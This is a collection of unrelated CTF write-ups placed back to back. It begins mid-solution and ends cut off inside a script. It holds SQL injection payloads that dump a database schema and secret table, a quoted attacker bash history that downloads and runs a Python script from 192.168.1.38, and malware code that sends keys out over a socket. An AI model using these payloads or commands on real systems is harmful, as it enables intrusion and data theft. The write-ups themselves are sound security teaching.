searching for recursively the parent method that is calling the methods that are executing the SQL queries, we will get to the main() method and by searching from where comes the data that is inserted in the database, we will get to this line [VirusTotal.py#L484](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/VirusTotal.py#L484) that is sending the sanitized IP address (received from the parent www/index.php page) to VirusTotal for scanning using the VirusTotal API [VirusTotal.py#L159](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/VirusTotal.py#L159). This is as expected from this platform which works as a gateway between the user and Virus Total by scanning the IP addresses that are set from the user. And what if we can perform the SQL injection using the result that are received from Virus Total ? According to the result that is returned after scanning the 200.200.200.200 IP address, we can notice that there are URL results. But how Virus Total get these URLs ? It's simple, you only need to scan the URL in Virus Total. The link should be alive with a HTTP status equal to 200. I searched for a website that can be accessible via URL to make it very easy so we can avoid websites that have a domain name that is resolved by multiple IP addresses. I found this URL: http://104.43.165.137/ It's content is not meaningful and I don't recommend anyone to access to strange IP address blindly because it can host a malicious website. To make the explanation easy, I will go straight to the point. To solved this task you need to download the Github project and do the following actions: - Edit the [database.sql](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/database.sql) file and replace the `---REDACTED---` information. Since this project works with 3 different mysql users, the task should be doing that. This trick will help with getting an environment similar to the task. Because having 3 users (each using with a permission: select, select+insert, update), will show us some limitations and restrictions about the query that we will be using to perform the SQL injection. - Install the project like adviced in the README. - Edit the newly created file config.json and add your newly created Virus Total API key and add the mysql credentials for the 3 users. - If possible, use some print() while debuging the VirusTotal.py script. - Run the script using `./VirusTotal "<IP>"`. For example: `./VirusTotal "104.43.165.140"` Since in the task, no errors are shown, we need to persist the result of the sql injection so we will be exploiting the insert query with the user that have the select+insert privileges. The first time, I was performing the SQL injection using a single query by inserting a single row and by escaping the rest of the query: `http://104.43.165.137/?id=1',database(),'')--`. But I got this error everytime I try to escape the INSERT query: ```http://104.43.165.137/?id=1',database(),'')--INSERT INTO vt_scanned_urls_table (ip_id,url,detections,scanned_time) VALUES ('36','http://104.43.165.137/?id=1',database(),'')--','<span>0</span>/76','2020-03-24 01:52:22')EXCEPTION: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--','<span>0</span>/76','2020-03-24 01:52:22')' at line 1``` Which means I can't escape it. I have to accept it and perform a clean INSERT SQL query even though this query works perfectly when using mysql CLI. So, the idea was to insert 2 rows in the same query by using: `INSERT INTO <table> (columns,...) VALUES (row1 values,...), (row2 values,...)`. When you will come to test your query on VirusTotal, you will notice that the `#` character is deleted. The space character is encoded so we can replace it with a comment `/**/`. That's all. We will try to find the current database for testing: `http://104.43.165.137/?id=1',database(),''),(28,'1` Please note that `28` is the foreigh key associated to the ips table which should be valid and we supposed it to be valid since there were no deleted rows from that table. Then, we scan the IP address in the Empire Total: This is the output generated from Virus Total directly since as explained under the form: when an IP address was not scanned in less than one minute, the result will be shown from VirusTotal directly. Otherwise, the results will be queried from the database and shown from there. But since the SQL injection is performed while inserting a customized query crafted from Virus Total, we can't see it the first time because it will not be queried from the database. But we will see it when we scan the IP address the second time while the one minute is not finished yet. After scanning the IP address the second time in less than one minute: We can confirm that we can see the database name `vt_scanned_ips_db`. So, we will be replacing the `database()` by another SELECT query to get all the database names so we can guess where is the flag: `select group_concat(distinct table_schema) from information_schema.tables` `http://104.43.165.137/?id=3%27,(select/**/group_concat(distinct/**/TABLE_SCHEMA)/**/from/**/information_schema.tables),%27%27),(28,%271` And this is the result: So, there is a secret database `MySecretDatabase`. Getting its tables: `select group_concat(table_name) from information_schema.tables where table_schema='MySecretDatabase'` `http://104.43.165.137/?id=4',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='MySecretDatabase'),''),(28,'1` So the table names were: `DefinitlyNotASecretTable,NotHere,NotThisOne,SameHere,SecretTable` separated with a `,`. Maybe the most interesting table is `SecretTable`. Let's get its columns before dumping its data: `select group_concat(column_name) from information_schema.columns where table_schema='MySecretDatabase' and table_name='SecretTable'` `http://104.43.165.137/?id=7',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='MySecretDatabase'/**/and/**/table_name='SecretTable'),(SELECT/**/USER())),(28,'1` So, the column names are `id,secret_name,secret_value` separated with a `,`. Let's get all the `secret_value` column values: `select group_concat(secret_value) from MySecretDatabase.SecretTable` `http://104.43.165.137/?id=8',(select/**/group_concat(secret_value)/**/from/**/MySecretDatabase.SecretTable),(SELECT/**/USER())),(1,'1` And that's how we get the flag. So the flag is `Securinets{EmpireTotal_Pwn3D_fr0m_Th3_0th3r_S1de}`. ### Other solutions For more intresting details see [this write-up from @github.com/kahla-sec/CTF-Writeups](https://github.com/kahla-sec/CTF-Writeups/blob/master/Securinets%20Prequals%202k20/Empire%20Total/README.md) ___ ## C2 Servers Hunting **Category:** OSINT**Points:** 919**Author:** TheEmperors**Description:** >The Emperor accidentally installed a malware that made him lose everything because his credentials got stolen. >After analyzing his computer, we found multiple network communications with these domains: >`c2-securinets-2020.info` >`c2-securinets-2020.ovh` >`c2-securinets-2020.com` >`c2-securinets-2020.site` >Could you try to find the owner of at least one of these domains ? >The flag is in the owner name. You will find the flag already in this format Securinets{}. If you didn't find this, so you didn't find the flag. ### Write-up We have 4 domains to search their owners as customers. The first thing that comes in mind is whois websites that we find on Google search. But, when we try to find the information related to these domains, we only find this: Which is kinda like poor. Even after searching the same domains on different whois websites, we find the same information. All the wanted information is REDACTED. Maybe there was a website that still have the information about the websites before it gets redacted. A website that keeps the registrars whois history. By searching on Google using `"whois history"`, we get the wanted website on the third page: And by searching on Duckduckgo, we get the same wanted website on the first page: This website is known for searching whois records especially for newly created domains from different registrars (not all of them): On Cyber Threat Analysis, this website is famous even if it doesn't always give the best results. But, most of the cases you will be happy from its results (I'm not promoting it). As explained on the task description, during this task, you need to use Ctrl+F to search for the flag format `Securinets{` to notice that you found the flag. After trying to query for the 4 domain names on Whoxy, only one domain will show the flag which is : `c2-securinets-2020.com`: https://www.whoxy.com/c2-securinets-2020.com So, the flag is `Securinets{Emper0r_Of_C2_Serv3rs}`.___ # Scoreboard This is the tasks list released on the CTF: And, this is the scoreboard and the rankin for the 50/430 teams that they solved at least one task in this CTF : If you need the Json file of the scoreboard, you can find it [here](https://www.majorleaguecyber.org/events/122/ctf-securinets-quals-2020/scoreboard.json?format=legacy)
In this challenge we were presented with an OVA archive. After importing and running the VM we had to reset the root password. A common method is to set `init=/bin/sh` in GRUB. Then we extracted the relevant files from `/home` which had two users `prod` and `test`. So let's find out what has happened on the system: `.bash_history` for `test` had following entries: ```curl http://192.168.1.38/clev.py > .s.pycurl http://192.168.1.38:8080/clev.py > .s.pycurl http://192.168.1.38:8888/clev.py > .s.pycurl http://192.168.1.38:1111/clev.py > .s.pyfile .s.pypython3.7 .s.py rm .s.py...``` so someone downloaded a file, executed it, then removed it. `secrets.txt.enc` is likely our candidate for the flag, which was encrypted in `/home/test/data`. Since we don't have the script we continue somewhere else. `/home/prod` included a PCAP file. A quick filter for port 1111 revealed an obfuscated Python script. Some observations: ``` for x in o(16): p=''.join(random.choices(C,k=16)) M.append(p)``` Since p gets overwritten every iteration, only the last value for "p" is used in the encryption. ``` u=','.join(k for k in M) u=W(u,"utf-8") u=base64.b64encode(u) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(g) s.sendall(W(Q.id,"utf-8")) s.recv(1) s.sendall(u)``` This will send the keys to another server: 192.168.1.38:9999. A quick look in the PCAP confirms this. It sends some ID for the machine then all 16 keys in base64 encoding: `bVRHZWxqaERSS0FTS0toUSxGTHJzU0V2ZVFRaWxvUFJuLFhlZFhIWUJVSHBJWERCSlAsSU9HUEVyam9zeE5pUXJOTSxSenZwYkVVUkxkRmZhR0ZNLHZkQlZEQ3ZpeGpTaENRdnksRVFsY3NuVXR6Q0h5RlBITSxKa0RpamdBRmlWQldKYUx6LGdoY1BJT1NxQ2RDVHFPcEQsRG5lQ3dia0RIa29qcHBIbSxsVlJaUmVBbGFJekhnaXNjLE5kamNnVlZqaWlueGZ0Q0MsUmtnTHBSQ3FybmlicnFzTixremV3dGVBZ1BFWmRrelFKLEhucEdvVWVxY2tFcXhwUW0sTFNOV1JhclRoUmRpUExwTQ==` Base64 decoding gives us the keys: `mTGeljhDRKASKKhQ,FLrsSEveQQiloPRn,XedXHYBUHpIXDBJP,IOGPErjosxNiQrNM,RzvpbEURLdFfaGFM,vdBVDCvixjShCQvy,EQlcsnUtzCHyFPHM,JkDijgAFiVBWJaLz,ghcPIOSqCdCTqOpD,DneCwbkDHkojppHm,lVRZReAlaIzHgisc,NdjcgVVjiinxftCC,RkgLpRCqrnibrqsN,kzewteAgPEZdkzQJ,HnpGoUeqckEqxpQm,LSNWRarThRdiPLpM` So in order to decrypt the file we take the last key (LSNWRarThRdiPLpM) from the 16. ```>>> f=open("secrets.txt.enc", "rb")>>> f1=f.read()>>> from Crypto.Cipher import AES>>> c=AES.new("LSNWRarThRdiPLpM",AES.MODE_ECB)>>> c.decrypt(f1)b'flag{26c08ad080830d6dcd76c15009ab6b03}\n\t\t\t\t\t\t\t\t\t'```
# VolgaCTF 2020 Qualifier : F-Hash **category** : reverse **points** : 250 **solves** : 43 ## write-up Run the executable. It takes a long time and fails to find the answer. Then I start to reverse the binary. Function 12A0 takes two parameter `a, b` and return `bitcount(a) + bitcount(b)` Function 13B0 is a recursion function and it is the main cause of the performance. There is a while loop that continues to execute `-=`. It is actually performing mod operations. Rewrite the whole function using python and do the following two things.1. Don't use recursion, cache the answer.2. Turn the subtraction into modulus operation Finally, replace the right value in gdb and continue running. The output will be the flag. See [solve.py](solve.py) for the implementation of function 13B0 # other write-ups and resources * https://pastebin.com/Dj6wteXk
Sample c code:```> #include <stdio.h>> #include <stdlib.h>> #include <string.h>> > unsigned int GetVersion()> {> static unsigned int version = 0;> static const char * releaseVerString = "> #include "/flag"> ";> > if (version == 0)> {> // Parse the appropriate value out of the text string> const char * p = releaseVerString;> while((p)&&(*p)&&(!((*p>='0')&&(*p<='9')))) p++;> for (int i=0; i<3; i++)> {> if ((p)&&(*p))> {> version |= (atoi(p)<<((2-i)*8));> p = strchr(p, '.');> if (p) p++;> }> else break;> }> }> return version;> }``` Result: F#{D1d_y0u_1nclud3_th3_fl4g?}
I don't know if it was intended or not but this can be done in one go .As we know that on sending our input we get the output xored with the flag. ```pythonfrom pwn import * charset="*"*26 r=remote("142.93.113.55",31087)print(r.recv())r.sendline("start")r.recv()r.sendline(charset) resp= r.recv()print(''.join([chr(ord(i)^ord('*')) for i in resp])) r.close()``` The flag is F#{us1ng-X0r-is-ROx-4-l0t}
0. Reverse image search to find out it's hilbert + peano -> [hilbert curves](https://en.wikipedia.org/wiki/Hilbert_curve)1. Generate hilbert curve of order 9, 2 (2^9 = 512, 2 = 2d)2. iterate image in hilbertCurve.transpoed order3. LSB of B bits4. PNG file ```from BitVector import BitVectorfrom PIL import Imagefrom hilbertcurve.hilbertcurve import HilbertCurveimport math img = Image.open("stego.png") # build a list of hilbert curve coordinateshc = HilbertCurve(int(math.log2(img.height)), 2)locations = [hc.coordinates_from_distance(i) for i in range(hc.max_h+1)] # iterate the pixels in transposed hilbert curve orderbitlist = [img.getpixel((y,x))[2] & 1 for (x,y) in locations]BitVector(bitlist=bitlist).write_to_file(open("out.png", "wb")) Image.open("out.png")```
# forgotten module - pwn/misc, 13 solves, 250 pointsChallenge description:> Those damn millenials and their USBs and NVMEs! They forgot to compile my IDE module. Now i can't access my secrets stored on a trusty CD-ROM. Can you help me? We're provided with a service that can run some custom kernel with our initramfs. It means that immediately we're quite powerful since we have root access. However, there's no CD-ROM driver. It means that we have to do one of two things: either try compile appropriate modules and load them (quite tedious, however some people managed to do that ;) ) or replace the kernel with a new one with CD-ROM support (intended solution). The easiest way to do this is to use `kexec` mechanism from Linux kernel. Luckily for us it is enabled, which we can verify by checking an entry in `/proc/config.gz`. OK, now that we know what we want to do, we have to assemble our components:* `kexec-tools` - <https://github.com/horms/kexec-tools> - a userspace program to load our new kernel, compiled statically* `vmlinuz` - with CD-ROM support. Left out as an exercise for the reader And that's basically it. What we have to do now is to pack those things along with some dummy initramfs (could be an example one) inside new initramfs (if you have troubles with kernel panics during boot don't forget to use `--format=newc` switch for `cpio`). We connect to the challenge, send the file and run:```./kexec -f --reuse-cmdline --initrd=./dummy.cpio.gz ./vmlinuz```If everything was OK, this will boot the new kernel. A new device should be present - `/dev/hdc` or `/dev/sr0`. The last thing is to mount it and get the flag.
Excellent CrackmeWe know one can do pretty much everything in Excel spreadsheets, but this... ``` 1-Download VolgaCTF_excel_crackme.xlsm2-Remove protections with Advanced Office Password Recovery3-In this file, two data matrices are observed. 3-1-Data Matrice=> Cell(100,100):Cell(144,144) =>Matrice1[45*45] 3-2-Calculated Matrice=> Cell(100,145):Cell(144,145) =>Matrice2[45*1] 4-Matrice1[45*45] * FlagMatrice[45*1]= Matrice2[45*1] 5-FlagMatrice[45*1]=Matrice2 * Invert(Matrice1) 6-use OnlineMathTools.com to To Invert and multiply 7-Change bytes to text and get flag: VolgaCTF{7h3_M057_M47h_cr4ckM3_y0u_3V3R_533N} ```
# b01lers CTF 2020 – Space Noodles * **Category:** web* **Points:** 200 ## Challenge > What do you get when you cross spaghetti with zero g's?> > http://web.ctf.b01lers.com:1003/ ## Solution This was a guessing challenge and I didn't like it very much. Trying to connect to the homepage will give you an error of HTTP method not allowed. ```GET / HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 121Server: Werkzeug/1.0.0 Python/3.7.6Date: Sat, 14 Mar 2020 10:24:44 GMT <title>Not Allowed</title><h1>Not Allowed</h1>Cant GET /``` Cant GET / If you try a wrong HTTP verb, the server will return all the allowed methods. ```POTATOE / HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1 HTTP/1.0 405 METHOD NOT ALLOWEDContent-Type: text/html; charset=utf-8Allow: GET, HEAD, PUT, PATCH, CONNECT, OPTIONS, TRACE, DELETE, POSTContent-Length: 178Server: Werkzeug/1.0.0 Python/3.7.6Date: Sat, 14 Mar 2020 10:26:17 GMT <title>405 Method Not Allowed</title><h1>Method Not Allowed</h1>The method is not allowed for the requested URL.``` The method is not allowed for the requested URL. Trying each method, you can discover that some of them, i.e. `POST` and `PUT`, will return a different result. ```POST / HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 570Server: Werkzeug/1.0.0 Python/3.7.6Date: Sat, 14 Mar 2020 10:31:13 GMT <html> </body> <body> <text></text>text ? pleas test teh follwing five roots, <list> <one> </text>text ? pleas test teh follwing five roots , circle</one> <enter> <enter> <sendkey(enter)> two I'm am making an a pea eye and its grate PHP is the best <php?> printf(hello world) </php>squaretwo :pleasequithelpwww.google.com/seaerch how to exitvim/quit :wqwhy isnt it working:wq:wq:wq:qw? </body> </html>``` At this point you have to guess that the following endpoints are present:* `/circle/one/`;* `/two/`;* `/square/`;* `/com/seaerch/`;* `/vim/quit/`. For each endpoint, you have to try all HTTP verbs in order to discover the correct one to use. The `/circle/one/` endpoint will return a [PDF file](https://github.com/m3ssap0/CTF-Writeups/raw/master/b01lers%20CTF%202020/Space%20Noodles/http_web.ctf.b01lers.com_1003_circle_one.pdf). ```OPTIONS /circle/one/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.0 200 OKContent-Length: 3322704Content-Type: application/pdfLast-Modified: Tue, 10 Mar 2020 20:13:28 GMTCache-Control: public, max-age=43200Expires: Sun, 15 Mar 2020 02:03:47 GMTETag: "1583871208.0-3322704-1012733123"Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 14:03:47 GMT %PDF-1.3``` The PDF says: `Put Your Best Food Forward With HEINZ KETCHUP`. At this point I had no idea of what to do next. Two different answers can be obtained on `/two/` endpoint with `PUT` and `CONNECT` HTTP verbs. ```PUT /two/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 15Server: Werkzeug/1.0.0 Python/3.7.6Date: Sat, 14 Mar 2020 10:55:40 GMT Put the dots???``` The `CONNECT /two/` request will return a PNG image. ```CONNECT /two/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.0 200 OKContent-Length: 67798Content-Type: image/pngLast-Modified: Tue, 10 Mar 2020 20:13:28 GMTCache-Control: public, max-age=43200Expires: Sat, 14 Mar 2020 22:56:58 GMTETag: "1583871208.0-67798-3337817112"Server: Werkzeug/1.0.0 Python/3.7.6Date: Sat, 14 Mar 2020 10:56:58 GMT PNG``` ![two.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/b01lers%20CTF%202020/Space%20Noodles/two.png) The image contains the string `up_on_noodles_`, that is a part of the flag. The `/square/` endpoint will return a PNG image with a crossword puzzle. ```DELETE /square/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.0 200 OKContent-Length: 211123Content-Type: image/pngLast-Modified: Tue, 10 Mar 2020 20:13:28 GMTCache-Control: public, max-age=43200Expires: Sat, 14 Mar 2020 23:12:50 GMTETag: "1583871208.0-211123-3343453223"Server: Werkzeug/1.0.0 Python/3.7.6Date: Sat, 14 Mar 2020 11:12:50 GMT PNG``` ![square.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/b01lers%20CTF%202020/Space%20Noodles/square.png) The solution is the following. ``` E S I R P E R C E A TE P NTASTES L A U D U L E A R C A O A N``` The `/com/seaerch/` endpoint will return the following webpage. ```GET /com/seaerch/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 94Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 15:02:41 GMT <htlm> ,,,,,,,,,<search> <-- comment for search --!>: ERROR search=null</end> </html>``` At this point, you have to guess that an `application/x-www-form-urlencoded` parameter must be used to perform the search operation ```GET /com/seaerch/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 10Content-Type: application/x-www-form-urlencoded search=foo HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 142Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 20:02:46 GMT <htlm> ,,,,,,,,,<search> <-- comment for search --!>: <query> foo is not a good search, please use this one instead: 'flag' <try> </html>``` Using the `flag` value will give you another part of the flag. ```GET /com/seaerch/ HTTP/1.1Host: web.ctf.b01lers.com:1003Comment: fooUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 11Content-Type: application/x-www-form-urlencoded search=flag HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 126Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 20:03:13 GMT <htlm> ,,,,,,,,,<search> <-- comment for search --!>: <query> good search</query> results: _good_in_s:w _good_in_s </html>``` The `/vim/quit/` endpoint will tell you to use a query parameter. ```TRACE /vim/quit/ HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeCookie: session=0Upgrade-Insecure-Requests: 1 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 109Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 19:27:54 GMT <hteeemel<body>> <wrong>uh oh ?exit=null </wrong> ``` Passing a random value will let you to discover that a *vim* command must be used. ```TRACE /vim/quit/?exit=foo HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 104Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 19:28:49 GMT <hteeemel<body>> <erroror>E492: Not an editor command: foo </errorror> </flag> E492: Not an editor command: foo ``` Considering that the name of the parameter is `exit`, you have to discover that `:wq` is the correct value to use. ```TRACE /vim/quit/?exit=:wq HTTP/1.1Host: web.ctf.b01lers.com:1003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 102Server: Werkzeug/1.0.0 Python/3.7.7Date: Sat, 14 Mar 2020 19:30:59 GMT <hteeemel<body>> <flag> well done wait </flag><text> this one/> <flag>pace_too}</flag> ``` Putting everything together will give you the following. ```1 2 3 4 5 up_on_noodles_ tastes _good_in_s pace_too}``` At this point you can easily guess the first part of the flag (referred to the PDF). ```pctf{ketchup_on_noodles_tastes_good_in_space_too}```
just a solution code, I think everything is clear ```from pwn import *import numpy as np standard_dic = { '$': u' _ \n | | \n/ __)\n\\__ \\\n( /\n |_| \n', '(': u' __\n / /\n| | \n| | \n| | \n \\_\\\n', ',': u' \n \n \n _ \n( )\n|/ \n', #'0': u' ___ \n / _ \\ \n| | | |\n| |_| |\n \\___/ \n \n', '4': u' _ _ \n| || | \n| || |_ \n|__ _|\n |_| \n \n', '8': u' ___ \n ( _ ) \n / _ \\ \n| (_) |\n \\___/ \n \n', '<': u' __\n / /\n/ / \n\\ \\ \n \\_\\\n \n', '@': u' ____ \n / __ \\ \n / / _` |\n| | (_| |\n \\ \\__,_|\n \\____/ \n', 'D': u' ____ \n| _ \\ \n| | | |\n| |_| |\n|____/ \n \n', 'H': u' _ _ \n| | | |\n| |_| |\n| _ |\n|_| |_|\n \n', 'L': u' _ \n| | \n| | \n| |___ \n|_____|\n \n', 'P': u' ____ \n| _ \\ \n| |_) |\n| __/ \n|_| \n \n', 'T': u' _____ \n|_ _|\n | | \n | | \n |_| \n \n', 'X': u'__ __\n\\ \\/ /\n \\ / \n / \\ \n/_/\\_\\\n \n', '\\': u'__ \n\\ \\ \n \\ \\ \n \\ \\ \n \\_\\\n \n', '`': u' _ \n( )\n \\|\n \n \n \n', 'd': u' _ \n __| |\n / _` |\n| (_| |\n \\__,_|\n \n', 'h': u" _ \n| |__ \n| '_ \\ \n| | | |\n|_| |_|\n \n", 'l': u' _ \n| |\n| |\n| |\n|_|\n \n', 'p': u" \n _ __ \n| '_ \\ \n| |_) |\n| .__/ \n|_| \n", 't': u' _ \n| |_ \n| __|\n| |_ \n \\__|\n \n', 'x': u' \n__ __\n\\ \\/ /\n > < \n/_/\\_\\\n \n', '|': u' _ \n| |\n| |\n| |\n| |\n|_|\n', '#': u' _ _ \n _| || |_ \n|_ .. _|\n|_ _|\n |_||_| \n \n', "'": u' _ \n( )\n|/ \n \n \n \n', #'+': u' \n _ \n _| |_ \n|_ _|\n |_| \n \n', '/': u' __\n / /\n / / \n / / \n/_/ \n \n', '3': u' _____ \n|___ / \n |_ \\ \n ___) |\n|____/ \n \n', '7': u' _____ \n|___ |\n / / \n / / \n /_/ \n \n', ';': u' \n _ \n(_)\n _ \n( )\n|/ \n', '?': u' ___ \n|__ \\\n / /\n |_| \n (_) \n \n', 'C': u' ____ \n / ___|\n| | \n| |___ \n \\____|\n \n', 'G': u' ____ \n / ___|\n| | _ \n| |_| |\n \\____|\n \n', 'K': u" _ __\n| |/ /\n| ' / \n| . \\ \n|_|\\_\\\n \n", 'O': u' ___ \n / _ \\ \n| | | |\n| |_| |\n \\___/ \n \n', 'S': u' ____ \n/ ___| \n\\___ \\ \n ___) |\n|____/ \n \n', 'W': u'__ __\n\\ \\ / /\n \\ \\ /\\ / / \n \\ V V / \n \\_/\\_/ \n \n', '[': u' __ \n| _|\n| | \n| | \n| | \n|__|\n', '_': u' \n \n \n \n _____ \n|_____|\n', 'c': u' \n ___ \n / __|\n| (__ \n \\___|\n \n', 'g': u' \n __ _ \n / _` |\n| (_| |\n \\__, |\n |___/ \n', 'k': u' _ \n| | __\n| |/ /\n| < \n|_|\\_\\\n \n', 'o': u' \n ___ \n / _ \\ \n| (_) |\n \\___/ \n \n', 's': u' \n ___ \n/ __|\n\\__ \\\n|___/\n \n', 'w': u' \n__ __\n\\ \\ /\\ / /\n \\ V V / \n \\_/\\_/ \n \n', '{': u' __\n / /\n | | \n< < \n | | \n \\_\\\n', '"': u' _ _ \n( | )\n V V \n \n \n \n', '&': u' ___ \n ( _ ) \n / _ \\/\\\n| (_> <\n \\___/\\/\n \n', '*': u' \n__/\\__\n\\ /\n/_ _\\\n \\/ \n \n', '.': u' \n \n \n _ \n(_)\n \n', '2': u' ____ \n|___ \\ \n __) |\n / __/ \n|_____|\n \n', '6': u" __ \n / /_ \n| '_ \\ \n| (_) |\n \\___/ \n \n", ':': u' \n _ \n(_)\n _ \n(_)\n \n', '>': u'__ \n\\ \\ \n \\ \\\n / /\n/_/ \n \n', 'B': u' ____ \n| __ ) \n| _ \\ \n| |_) |\n|____/ \n \n', 'F': u' _____ \n| ___|\n| |_ \n| _| \n|_| \n \n', 'J': u' _ \n | |\n _ | |\n| |_| |\n \\___/ \n \n', 'N': u' _ _ \n| \\ | |\n| \\| |\n| |\\ |\n|_| \\_|\n \n', 'R': u' ____ \n| _ \\ \n| |_) |\n| _ < \n|_| \\_\\\n \n', 'V': u'__ __\n\\ \\ / /\n \\ \\ / / \n \\ V / \n \\_/ \n \n', 'Z': u' _____\n|__ /\n / / \n / /_ \n/____|\n \n', '^': u' /\\ 